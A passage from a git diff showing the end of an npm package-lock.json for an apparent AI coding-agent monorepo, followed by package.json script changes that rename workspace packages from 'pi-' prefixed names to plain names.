"sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/url-template": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz", + "integrity": "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw==", + "license": "BSD" + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" + }, + "node_modules/uuid": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", + "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "license": "Apache-2.0", + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vectordrive": { + "optional": true + }, + "node_modules/vfile": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", + "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz", + "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/vfile/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/vite": { + "version": "7.3.2", + "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz", + "integrity": "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.27.0", + "fdir": "^6.5.0", + "picomatch": "^4.0.3", + "postcss": "^8.5.6", + "rollup": "^4.43.0", + "tinyglobby": "^0.2.15" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "lightningcss": "^1.21.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vitest": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.5.tgz", + "integrity": "sha512-9Xx1v3/ih3m9hN+SbfkUyy0JAs72ap3r7joc87XL6jwF0jGg6mFBvQ1SrwaX+h8BlkX6Hz9shdd1uo6AF+ZGpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "4.1.5", + "@vitest/mocker": "4.1.5", + "@vitest/pretty-format": "4.1.5", + "@vitest/runner": "4.1.5", + "@vitest/snapshot": "4.1.5", + "@vitest/spy": "4.1.5", + "@vitest/utils": "4.1.5", + "es-module-lexer": "^2.0.0", + "expect-type": "^1.3.0", + "magic-string": "^0.30.21", + "obug": "^2.1.1", + "pathe": "^2.0.3", + "picomatch": "^4.0.3", + "std-env": "^4.0.0-rc.1", + "tinybench": "^2.9.0", + "tinyexec": "^1.0.2", + "tinyglobby": "^0.2.15", + "tinyrainbow": "^3.1.0", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@opentelemetry/api": "^1.9.0", + "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", + "@vitest/browser-playwright": "4.1.5", + "@vitest/browser-preview": "4.1.5", + "@vitest/browser-webdriverio": "4.1.5", + "@vitest/coverage-istanbul": "4.1.5", + "@vitest/coverage-v8": "4.1.5", + "@vitest/ui": "4.1.5", + "happy-dom": "*", + "jsdom": "*", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser-playwright": { + "optional": true + }, + "@vitest/browser-preview": { + "optional": true + }, + "@vitest/browser-webdriverio": { + "optional": true + }, + "@vitest/coverage-istanbul": { + "optional": true + }, + "@vitest/coverage-v8": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + }, + "vite": { + "optional": false + } + } + }, + "node_modules/vitest/node_modules/std-env": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.1.0.tgz", + "integrity": "sha512-Rq7ybcX2RuC55r9oaPVEW7/xu3tj8u4GeBYHBWCychFtzMIr86A7e3PPEBPT37sHStKX3+TiX/Fr/ACmJLVlLQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/void-elements": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", + "integrity": "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/walkdir": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/walkdir/-/walkdir-0.4.1.tgz", + "integrity": "sha512-3eBwRyEln6E1MSzcxcVpQIhRG8Q1jLvEqRmCZqS3dsfXEDR/AhOF4d+jHg1qvDCpYaVRZjENPQyrVxAkQqxPgQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "dev": true, + "license": "MIT", + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/web-streams-polyfill": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", + "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/web-tree-sitter": { + "version": "0.25.10", + "resolved": "https://registry.npmjs.org/web-tree-sitter/-/web-tree-sitter-0.25.10.tgz", + "integrity": "sha512-Y09sF44/13XvgVKgO2cNDw5rGk6s26MgoZPXLESvMXeefBf7i6/73eFurre0IsTW6E14Y0ArIzhUMmjoc7xyzA==", + "license": "MIT", + "peerDependencies": { + "@types/emscripten": "^1.40.0" + }, + "peerDependenciesMeta": { + "@types/emscripten": { + "optional": true + } + } + }, + "node_modules/webdriver-bidi-protocol": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/webdriver-bidi-protocol/-/webdriver-bidi-protocol-0.4.1.tgz", + "integrity": "sha512-ARrjNjtWRRs2w4Tk7nqrf2gBI0QXWuOmMCx2hU+1jUt6d00MjMxURrhxhGbrsoiZKJrhTSTzbIrc554iKI10qw==", + "license": "Apache-2.0" + }, + "node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", + "license": "BSD-2-Clause" + }, + "node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "license": "MIT", + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/with": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/with/-/with-7.0.2.tgz", + "integrity": "sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.9.6", + "@babel/types": "^7.9.6", + "assert-never": "^1.2.1", + "babel-walk": "3.0.0-canary-5" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/ws": { + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", + "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/wsl-utils": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/wsl-utils/-/wsl-utils-0.1.0.tgz", + "integrity": "sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==", + "license": "MIT", + "dependencies": { + "is-wsl": "^3.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/xml-naming": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", + "integrity": "sha512-k8KO9hrMyNk6tUWqUfkTEZbezRRpONVOzUTnc97VnCvyj6Tf9lyUR9EDAIeiVLv56jsMcoXEwjW8Kv5yPY52lw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yaml": { + "version": "2.8.4", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.4.tgz", + "integrity": "sha512-ml/JPOj9fOQK8RNnWojA67GbZ0ApXAUlN2UQclwv2eVgTgn7O9gg9o7paZWKMp4g0H3nTLtS9LVzhkpOFIKzog==", + "license": "ISC", + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", + "license": "MIT", + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + }, + "node_modules/yoctocolors": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/yoctocolors/-/yoctocolors-2.1.2.tgz", + "integrity": "sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", + "integrity": "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zod-to-json-schema": { + "version": "3.25.2", + "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", + "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", + "license": "ISC", + "peerDependencies": { + "zod": "^3.25.28 || ^4" + } + }, + "packages/agent-core": { + "name": "@singularity-forge/agent-core", + "version": "2.75.3", + "engines": { + "node": ">=26.1.0" + } + }, + "packages/ai": { + "name": "@singularity-forge/ai", + "version": "2.75.3", + "dependencies": { + "@anthropic-ai/sdk": "^0.95.1", + "@anthropic-ai/vertex-sdk": "^0.16.0", + "@aws-sdk/client-bedrock-runtime": "^3.1045.0", + "@google/gemini-cli-core": "^0.41.2", + "@google/genai": "^2.0.1", + "@mistralai/mistralai": "^2.2.1", + "@sinclair/typebox": "^0.34.49", + "@singularity-forge/google-gemini-cli-provider": "^2.75.3", + "ajv": "^8.20.0", + "ajv-formats": "^3.0.1", + "chalk": "^5.6.2", + "jsonrepair": "^3.14.0", + "openai": "^6.37.0", + "proxy-agent": "^8.0.1", + "undici": "^8.2.0", + "yaml": "^2.8.3", + "zod-to-json-schema": "^3.24.6" + }, + "devDependencies": { + "@smithy/node-http-handler": "^4.5.0" + }, + "engines": { + "node": ">=26.1.0" + } + }, + "packages/ai/node_modules/@anthropic-ai/vertex-sdk": { + "version": "0.16.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/vertex-sdk/-/vertex-sdk-0.16.0.tgz", + "integrity": "sha512-ntxemtRkwPsjVzGQJsmBPRW38tfas6VuVlD1v6pHffDJKLPtCdaiN9KUQeraJ/F34tjxEWlsaCnl3t/orJm1Xw==", + "license": "MIT", + "dependencies": { + "@anthropic-ai/sdk": ">=0.50.3 <1", + "google-auth-library": "^9.4.2" + } + }, + "packages/ai/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "packages/ai/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "packages/ai/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "packages/ai/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "packages/ai/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "packages/coding-agent": { + "name": "@singularity-forge/coding-agent", + "version": "2.75.3", + "dependencies": { + "@mariozechner/jiti": "^2.6.2", + "@silvia-odwyer/photon-node": "^0.3.4", + "chalk": "^5.5.0", + "diff": "^9.0.0", + "express": "^5.2.1", + "extract-zip": "^2.0.1", + "file-type": "^21.3.4", + "hosted-git-info": "^9.0.3", + "ignore": "^7.0.5", + "marked": "^18.0.3", + "minimatch": "^10.2.5", + "proper-lockfile": "^4.1.2", + "strip-ansi": "^7.2.0", + "undici": "^8.2.0", + "yaml": "^2.8.4" + }, + "devDependencies": { + "@types/diff": "^7.0.2", + "@types/express": "^4.17.21", + "@types/hosted-git-info": "^3.0.5", + "@types/proper-lockfile": "^4.1.4" + }, + "engines": { + "node": ">=26.1.0" + } + }, + "packages/daemon": { + "name": "@singularity-forge/daemon", + "version": "2.75.3", + "license": "MIT", + "dependencies": { + "@anthropic-ai/sdk": "^0.95.1", + "@singularity-forge/rpc-client": "^2.75.3", + "discord.js": "^14.25.1", + "yaml": "^2.8.0", + "zod": "^4.4.3" + }, + "bin": { + "sf-daemon": "dist/cli.js", + "sf-server": "dist/cli.js" + }, + "devDependencies": { + "@types/node": "^25.6.2", + "typescript": "^6.0.3" + }, + "engines": { + "node": ">=26.1.0" + } + }, + "packages/google-gemini-cli-provider": { + "name": "@singularity-forge/google-gemini-cli-provider", + "version": "2.75.3", + "dependencies": { + "@google/gemini-cli-core": "0.41.2" + }, + "engines": { + "node": ">=26.1.0" + } + }, + "packages/native": { + "name": "@singularity-forge/native", + "version": "2.75.3", + "license": "MIT", + "engines": { + "node": ">=26.1.0" + }, + "optionalDependencies": { + "@singularity-forge/engine-darwin-arm64": ">=2.75.0", + "@singularity-forge/engine-darwin-x64": ">=2.75.0", + "@singularity-forge/engine-linux-arm64-gnu": ">=2.75.0", + "@singularity-forge/engine-linux-x64-gnu": ">=2.75.0", + "@singularity-forge/engine-win32-x64-msvc": ">=2.75.0" + } + }, + "packages/rpc-client": { + "name": "@singularity-forge/rpc-client", + "version": "2.75.3", + "license": "MIT", + "engines": { + "node": ">=26.1.0" + } + }, + "packages/tui": { + "name": "@singularity-forge/tui", + "version": "2.75.3", + "dependencies": { + "chalk": "^5.6.2", + "get-east-asian-width": "^1.3.0", + "marked": "^18.0.3", + "mime-types": "^3.0.1" + }, + "devDependencies": { + "@types/mime-types": "^2.1.4" + }, + "engines": { + "node": ">=26.1.0" + }, + "optionalDependencies": { + "koffi": "^2.9.0" + } + } + } } diff --git a/package.json b/package.json index c6da5fd0f..550586fd6 100644 --- a/package.json +++ b/package.json @@ -42,10 +42,10 @@ }, "packageManager": "npm@11.13.0", "scripts": { - "build:pi-tui": "npm --workspace @singularity-forge/pi-tui run build", - "build:pi-ai": "npm --workspace @singularity-forge/pi-ai run build", - "build:pi-agent-core": "npm --workspace @singularity-forge/pi-agent-core run build", - "build:pi-coding-agent": "npm --workspace @singularity-forge/pi-coding-agent run build", + "build:pi-tui": "npm --workspace @singularity-forge/tui run build", + "build:pi-ai": "npm --workspace @singularity-forge/ai run build", + "build:pi-agent-core": "npm --workspace @singularity-forge/agent-core run build", + "build:pi-coding-agent": "npm --workspace @singularity-forge/coding-agent run build", "build:native-pkg": "npm --workspace @singularity-forge/native run build", "build:rpc-client": "npm --workspace @singularity-forge/rpc-client run build", "build:google-gemini-cli-provider": "npm --workspace @singularity-forge/google-gemini-cli-provider run build", @@ -60,7 +60,7 @@ "copy-themes": "node scripts/copy-themes.cjs", "copy-export-html": "node scripts/copy-export-html.cjs", "test:unit": "npx vitest run --config vitest.config.ts", - "test:packages": "node --test packages/pi-coding-agent/dist/core/*.test.js packages/pi-coding-agent/dist/core/tools/spawn-shell-windows.test.js", + "test:packages": "node --test packages/coding-agent/dist/core/*.test.js packages/coding-agent/dist/core/tools/spawn-shell-windows.test.js", "test:marketplace": "npx vitest run src/resources/extensions/sf/tests/claude-import-tui.test.ts src/tests/marketplace-discovery.test.ts --config vitest.config.ts", "test:sf-light": "npx vitest run 